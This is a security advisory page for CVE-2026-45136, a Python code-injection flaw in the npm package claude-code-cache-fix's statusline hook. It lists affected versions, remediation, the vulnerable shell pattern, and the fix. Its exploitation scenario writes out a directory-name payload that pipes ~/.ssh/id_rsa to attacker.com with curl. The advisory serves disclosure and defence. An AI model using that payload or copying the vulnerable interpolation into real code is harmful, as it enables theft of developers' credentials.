CVE-2026-45136 is a code injection vulnerability in the npm package claude-code-cache-fix (v3.5.0–v3.5.1), where the statusline hook script interpolates user-controlled filesystem paths directly into a Python triple-quoted string literal — a directory name containing ''' closes the literal early and executes arbitrary Python in the developer's Claude Code process. Any developer running the recommended statusLine configuration is persistently exploitable: the hook fires on every terminal redraw, meaning compromise is sustained without further action after the initial trigger. The delivery vector is frictionless — a hostile directory name lands on disk via routine git clone, npm install, or zip extraction, requiring no privileges or network access beyond what a developer already performs daily. Upgrade to v3.5.2 immediately; if patching is not immediately possible, remove the statusLine entry from ~/.claude/settings.json as a workaround, and rotate all credentials accessible on affected developer machines.
What is the risk?
HIGH. While no remote vector exists, the delivery mechanism is trivial — any git repository, npm package, or archive can plant a hostile directory name. Exploitation requires zero specialized knowledge: crafting the payload is a one-liner, and the attack self-sustains on every terminal redraw without further adversary involvement. The target population is AI developers whose machines hold SSH keys, LLM API tokens (Anthropic, OpenAI), cloud provider credentials, and proprietary model artifacts — extremely high-value targets for supply chain actors. Six prior CVEs exist in the same package, suggesting this tool has a weak security track record.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| claude-code-cache-fix | npm | >= 3.5.0, < 3.5.2 | 3.5.2 |
Do you use claude-code-cache-fix? You're affected.
Severity & Risk
What should I do?
5 steps-
Patch: upgrade claude-code-cache-fix to v3.5.2 (published 2026-05-07) — the fix rewrites stdin handling to use a single-quoted heredoc and env var, eliminating shell interpolation entirely.
-
Immediate workaround: remove the statusLine entry from ~/.claude/settings.json to disable the hook until patching is possible.
-
Alternative workaround: replace tools/quota-statusline.sh with the safe heredoc+env-var pattern (export CC_INPUT=$(cat); read JSON via os.environ in Python, never via string interpolation).
-
Detection: run npm list claude-code-cache-fix to identify versions 3.5.0 or 3.5.1; audit ~/.claude/settings.json for statusLine entries pointing to quota-statusline.sh.
-
Incident response: if confirmed vulnerable and timeline is unknown, treat as compromised — rotate SSH keys, all LLM API keys, cloud access tokens, and any credentials stored on the developer machine.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45136?
CVE-2026-45136 is a code injection vulnerability in the npm package claude-code-cache-fix (v3.5.0–v3.5.1), where the statusline hook script interpolates user-controlled filesystem paths directly into a Python triple-quoted string literal — a directory name containing ''' closes the literal early and executes arbitrary Python in the developer's Claude Code process. Any developer running the recommended statusLine configuration is persistently exploitable: the hook fires on every terminal redraw, meaning compromise is sustained without further action after the initial trigger. The delivery vector is frictionless — a hostile directory name lands on disk via routine git clone, npm install, or zip extraction, requiring no privileges or network access beyond what a developer already performs daily. Upgrade to v3.5.2 immediately; if patching is not immediately possible, remove the statusLine entry from ~/.claude/settings.json as a workaround, and rotate all credentials accessible on affected developer machines.
Is CVE-2026-45136 actively exploited?
No confirmed active exploitation of CVE-2026-45136 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-45136?
1. Patch: upgrade claude-code-cache-fix to v3.5.2 (published 2026-05-07) — the fix rewrites stdin handling to use a single-quoted heredoc and env var, eliminating shell interpolation entirely. 2. Immediate workaround: remove the statusLine entry from ~/.claude/settings.json to disable the hook until patching is possible. 3. Alternative workaround: replace tools/quota-statusline.sh with the safe heredoc+env-var pattern (export CC_INPUT=$(cat); read JSON via os.environ in Python, never via string interpolation). 4. Detection: run npm list claude-code-cache-fix to identify versions 3.5.0 or 3.5.1; audit ~/.claude/settings.json for statusLine entries pointing to quota-statusline.sh. 5. Incident response: if confirmed vulnerable and timeline is unknown, treat as compromised — rotate SSH keys, all LLM API keys, cloud access tokens, and any credentials stored on the developer machine.
What systems are affected by CVE-2026-45136?
This vulnerability affects the following AI/ML architecture patterns: AI development environments, Agent frameworks, AI coding assistants.
What is the CVSS score for CVE-2026-45136?
No CVSS score has been assigned yet.
Technical Details
NVD Description
## Summary `tools/quota-statusline.sh` (introduced in v3.5.0) interpolates Claude Code's hook stdin payload directly into a Python triple-quoted string literal. A `'''` byte sequence in any user-controlled field of the payload closes the literal early and lets following bytes execute as Python in the user's Claude Code process. ## Affected versions - v3.5.0 - v3.5.1 ## Patched versions - v3.5.2 ## Affected configurations Users who wired `tools/quota-statusline.sh` into Claude Code's `statusLine` configuration. The v3.5.0 README explicitly recommends this setup, so most users on v3.5.0/v3.5.1 with the recommended setup are affected. ## Attack chain Claude Code's statusline hook payload reflects user-controlled paths (`cwd`, `workspace.current_dir`, `workspace.project_dir`, `transcript_path`). Apostrophes are legal in POSIX filesystem paths. 1. A hostile directory name containing `'''+payload+'''` lands on disk via any normal vector — `git clone`, archive extraction, npm package, downloaded zip, etc. 2. The victim has the recommended `tools/quota-statusline.sh` wired into their CC `statusLine` config. 3. The victim `cd`s anywhere a hostile path is reachable. 4. CC fires the statusline hook on every redraw. The Python literal closes early. The injected bytes execute as Python in the user's process. ## Severity Local code execution at user privilege. Persistent re-fire on every statusline redraw. No user interaction beyond `cd`-ing into the hostile path. The user's shell, CC session, files, SSH keys, and any locally-accessible credentials are reachable from the executed code. ## Vulnerable pattern ```sh input=$(cat) result=$(python3 -c " stdin_data = json.loads('''$input''') if '''$input''' else {} ") ``` ## Fix Capture stdin in bash, export to env, and pipe the Python source through a single-quoted heredoc (`<<'PYEOF'`). Single-quoting disables ALL bash interpolation inside the body. Python reads the JSON via `os.environ.get('CC_INPUT')`, where the bytes are inert at every layer. ```sh CC_INPUT=$(cat) export CC_INPUT python3 <<'PYEOF' 2>/dev/null import os, json try: cc_input = json.loads(os.environ.get('CC_INPUT') or '{}') except Exception: cc_input = {} # ... PYEOF ``` ## Workarounds Until upgrading to v3.5.2: - Disable the statusline by removing the `statusLine` entry from `~/.claude/settings.json`, or - Replace `tools/quota-statusline.sh` with a script that does NOT pass stdin through `python3 -c "..."` (a heredoc + env var rewrite is safe) ## Credit Reported by Jakob Linke (@schuay) via GitHub issue [#108](https://github.com/cnighswonger/claude-code-cache-fix/issues/108). ## Timeline - 2026-05-07 — reported (#108) - 2026-05-07 — confirmed, fix implemented (#110) - 2026-05-07 — v3.5.2 published
Exploitation Scenario
An attacker contributes to or publishes an open-source AI project (npm package, GitHub repo, or sample dataset archive) that includes a directory named with a crafted payload such as: 'payload_dir/\'''+__import__(\"os\").popen(\"cat ~/.ssh/id_rsa | curl -d @- attacker.com\").read()+\''''. A developer on v3.5.0 or v3.5.1 installs or clones the project as part of normal AI development workflow. The moment the developer navigates their terminal to any workspace where the hostile path appears in cwd, workspace.current_dir, workspace.project_dir, or transcript_path fields of the hook payload, Claude Code fires the statusline hook. Python interprets the injected bytes as code, silently exfiltrates the developer's SSH private key, and the payload continues executing on every subsequent terminal redraw for the entire session.
Weaknesses (CWE)
References
Timeline
Related Vulnerabilities
CVE-2026-35020 8.4 Claude Code CLI: OS command injection via TERMINAL env
Same package: claude-code CVE-2026-44246 7.2 nnU-Net: prompt injection hijacks CI/CD triage agent
Same package: claude-code CVE-2026-39861 Claude Code: sandbox escape via symlink allows arbitrary write
Same package: claude-code CVE-2026-39398 openclaw-claude-bridge: sandbox bypass exposes CLI tools
Same package: claude-code CVE-2026-35603 Claude Code: config hijack via unprotected ProgramData dir
Same package: claude-code